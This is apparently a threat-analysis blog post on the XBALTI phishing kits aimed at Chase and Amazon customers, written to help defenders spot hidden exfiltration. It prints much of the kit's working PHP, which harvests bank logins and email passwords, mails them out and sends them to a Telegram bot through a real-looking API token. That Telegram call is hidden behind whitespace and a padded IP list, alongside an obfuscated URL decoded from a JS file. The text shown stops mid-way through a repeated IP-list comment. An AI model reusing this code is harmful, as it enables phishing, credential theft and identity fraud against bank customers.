XBALTI Kits

XBALTI is a threat actor that produces various phishing kits, but primarily the ones that have been found in the wild are targeting brands Chase Bank and Amazon:

Chase Bank
Amazon

These phishing pages do not only steal login data, but also:

  • SSN
  • DOB
  • mother’s Maiden name
  • payment card data

Admin Panel

Similar to other popular phishing kits, XBALTI kits include a type of admin page that the phisher can use for quickly viewing the activity on their phishing page:

Exfil

The exfiltration is handled through emails sent to a configured email address upon each step of the phishing page being completed (i.e victim sends a POST request with data).

For example, an email is sent out using PHP’s mail function to the configured email address when the victim enters their Chase Bank username and password on the first step of the phishing page.

$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME	: ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO 		: https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE 		: ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE 	: ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) &&  $_SERVER['HTTPS'] === 'on') 
    $link = "https"; 
    else
        $link = "http"; 
$link .= "://";  
$link .= $_SERVER['HTTP_HOST']; 
$link .= $_SERVER['PHP_SELF']; 
$XBALTI_MESSAGE .= "SCAMA LINK 		: ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
...
$XBALTI_SUBJECT .= "LOGIN 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
$XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
$XBALTI_HEADERS  = "MIME-Version: 1.0" . "\r\n";
$XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
@mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);

$apiToken - what is that doing there? 🧐 🧐

Something like $apiToken is often used for Telegram exfiltration - not email, and I don’t see any Telegram exfiltration in the kit options. 🤔🤔🤔

Hidden/Backdoor Telegram Exfil

As it turns out, there is a hidden exfiltration method that also sends all of the phished data to a Telegram channel and not just the configured email address ($XBALTI_EMAIL).

The way that it hides is that it shows up after a large pointless comment, and uses lots of white space to push the Telegram exfil code off of the page width, even if you are using text wrapping.

Sublime text editor
nano editor

The best way for detecting Telegram exfil is to just try using grep to search for the Telegram URL:

# grep "api\.telegram" . -Rn
./XBALTI/send.php:156:                                                                                                                                                                                                                                $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );

Incorporate it into your analysis commands (and common encoded versions) and you won’t have to worry about this type of method of hiding the exfil method.

Exfil Sample


<?php
/*   
             ,;;;;;;;,
            ;;;;;;;;;;;,
           ;;;;;'_____;'
           ;;;(/))))|((\
           _;;((((((|))))
          / |_\\\\\\\\\\\\
     .--~(  \ ~))))))))))))
    /     \  `\-(((((((((((\\
    |    | `\   ) |\       /|)
     |    |  `. _/  \_____/ |
      |    , `\~            /
       |    \  \ BY XBALTI /
      | `.   `\|          /
      |   ~-   `\        /
       \____~._/~ -_,   (\
        |-----|\   \    ';;
       |      | :;;;'     \
      |  /    |            |
      |       |            |                   
*/
session_start();
error_reporting(0);
date_default_timezone_set('GMT');
$TIME_DATE = date('H:i:s d/m/Y');
include('Email.php');
function XB_OS($USER_AGENT){
	$OS_ERROR    =   "Unknown OS Platform";
    $OS  =   array( '/windows nt 10/i'      =>  'Windows 10',
	                '/windows nt 6.3/i'     =>  'Windows 8.1',
	                '/windows nt 6.2/i'     =>  'Windows 8',
	                '/windows nt 6.1/i'     =>  'Windows 7',
	                '/windows nt 6.0/i'     =>  'Windows Vista',
	                '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
	                '/windows nt 5.1/i'     =>  'Windows XP',
	                '/windows xp/i'         =>  'Windows XP',
	                '/windows nt 5.0/i'     =>  'Windows 2000',
	                '/windows me/i'         =>  'Windows ME',
	                '/win98/i'              =>  'Windows 98',
	                '/win95/i'              =>  'Windows 95',
	                '/win16/i'              =>  'Windows 3.11',
	                '/macintosh|mac os x/i' =>  'Mac OS X',
	                '/mac_powerpc/i'        =>  'Mac OS 9',
	                '/linux/i'              =>  'Linux',
	                '/ubuntu/i'             =>  'Ubuntu',
	                '/iphone/i'             =>  'iPhone',
	                '/ipod/i'               =>  'iPod',
	                '/ipad/i'               =>  'iPad',
	                '/android/i'            =>  'Android',
	                '/blackberry/i'         =>  'BlackBerry',
	                '/webos/i'              =>  'Mobile');
    foreach ($OS as $regex => $value) { 
        if (preg_match($regex, $USER_AGENT)) {
            $OS_ERROR = $value;
        }

    }   
    return $OS_ERROR;
}
function XB_Browser($USER_AGENT){
	$BROWSER_ERROR    =   "Unknown Browser";
    $BROWSER  =   array('/msie/i'       =>  'Internet Explorer',
                        '/firefox/i'    =>  'Firefox',
                        '/safari/i'     =>  'Safari',
                        '/chrome/i'     =>  'Chrome',
                        '/edge/i'       =>  'Edge',
                        '/opera/i'      =>  'Opera',
                        '/netscape/i'   =>  'Netscape',
                        '/maxthon/i'    =>  'Maxthon',
                        '/konqueror/i'  =>  'Konqueror',
                        '/mobile/i'     =>  'Handheld Browser');
    foreach ($BROWSER as $regex => $value) { 
        if (preg_match($regex, $USER_AGENT)) {
            $BROWSER_ERROR = $value;
        }
    }
    return $BROWSER_ERROR;
}
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = @$_SERVER['REMOTE_ADDR'];
$result  = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP)){
  $_SESSION['_ip_']  = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP)){
    $_SESSION['_ip_']  = $forward;
}
else{
    $_SESSION['_ip_']  = $remote;
}
$fromsen .= $yourname;
$fromsen .= "@";
$fromsen .= $_SERVER['HTTP_HOST'];
if(isset($_POST['userid']) && isset($_POST['passid'])){	
	if(!empty($_POST['userid']) && !empty($_POST['passid'])){
$_SESSION['userid']   = $_POST['userid'];
$_SESSION['passid']    = $_POST['passid'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME	: ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO 		: https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE 		: ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE 	: ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) &&  $_SERVER['HTTPS'] === 'on') 
    $link = "https"; 
    else
        $link = "http"; 
$link .= "://";  
$link .= $_SERVER['HTTP_HOST']; 
$link .= $_SERVER['PHP_SELF']; 
$XBALTI_MESSAGE .= "SCAMA LINK 		: ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
                          <td>
                            ".$_SESSION['userid']."
                          </td>
                          <td>
                            ".$_SESSION['passid']."
                          </td>
                          <td>
                            ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
                          </td>
                          <td>
						  {".$_SESSION['_ip_']."}
                          </td>
                          <td>
                            ".$TIME_DATE."
                          </td>
                        </tr>\n";
    $khraha = fopen("../rz/logs".$yourname.".html", "a");
	fwrite($khraha, $XBALTI_ADMIN);
	$xx .= "{}\n";
    $khraha = fopen("../rz/logs.html", "a");
	fwrite($khraha, $xx);
    $XBALTI_SUBJECT .= "LOGIN 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
    $XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
    $XBALTI_HEADERS  = "MIME-Version: 1.0" . "\r\n";
    $XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
	$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
    @mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
	}
	
	

	$data = [
	    'chat_id' => '@antibotencrypt',
	    'text' => $XBALTI_MESSAGE
	];

	 //"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"               "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"    "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"//                                                                                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );

	
}
if(isset($_POST['email']) && isset($_POST['password'])){	
	if(!empty($_POST['email']) && !empty($_POST['password'])){
$_SESSION['email']   = $_POST['email'];
$_SESSION['password']    = $_POST['password'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME	: ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	: ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO 		: https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE 		: ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE 	: ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) &&  $_SERVER['HTTPS'] === 'on') 
    $link = "https"; 
    else
        $link = "http"; 
$link .= "://";  
$link .= $_SERVER['HTTP_HOST']; 
$link .= $_SERVER['PHP_SELF']; 
$XBALTI_MESSAGE .= "SCAMA LINK 		: ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
                          <td>
                            ".$_SESSION['userid']."
                          </td>
                          <td>
                            ".$_SESSION['passid']."
                          </td>
						  <td>
                            ".$_SESSION['email']."
                          </td>
                          <td>
                            ".$_SESSION['password']."
                          </td>
                          <td>
                            ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
                          </td>
                          <td>
						  {".$_SESSION['_ip_']."}
                          </td>
						  <td>
                            ".$TIME_DATE."
                          </td>
                        </tr>\n";
    $khraha = fopen("../rz/emails".$yourname.".html", "a");
	fwrite($khraha, $XBALTI_ADMIN);
	$xx .= "{}\n";
    $khraha = fopen("../rz/emails.html", "a");
	fwrite($khraha, $xx);
    $XBALTI_SUBJECT .= "EMAIL 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
    $XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
    $XBALTI_HEADERS  = "MIME-Version: 1.0" . "\r\n";
    $XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
	$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
    @mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
	}
	
	

	$data = [
	    'chat_id' => '@antibotencrypt',
	    'text' => $XBALTI_MESSAGE
	];

	 //"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"               "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"    "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     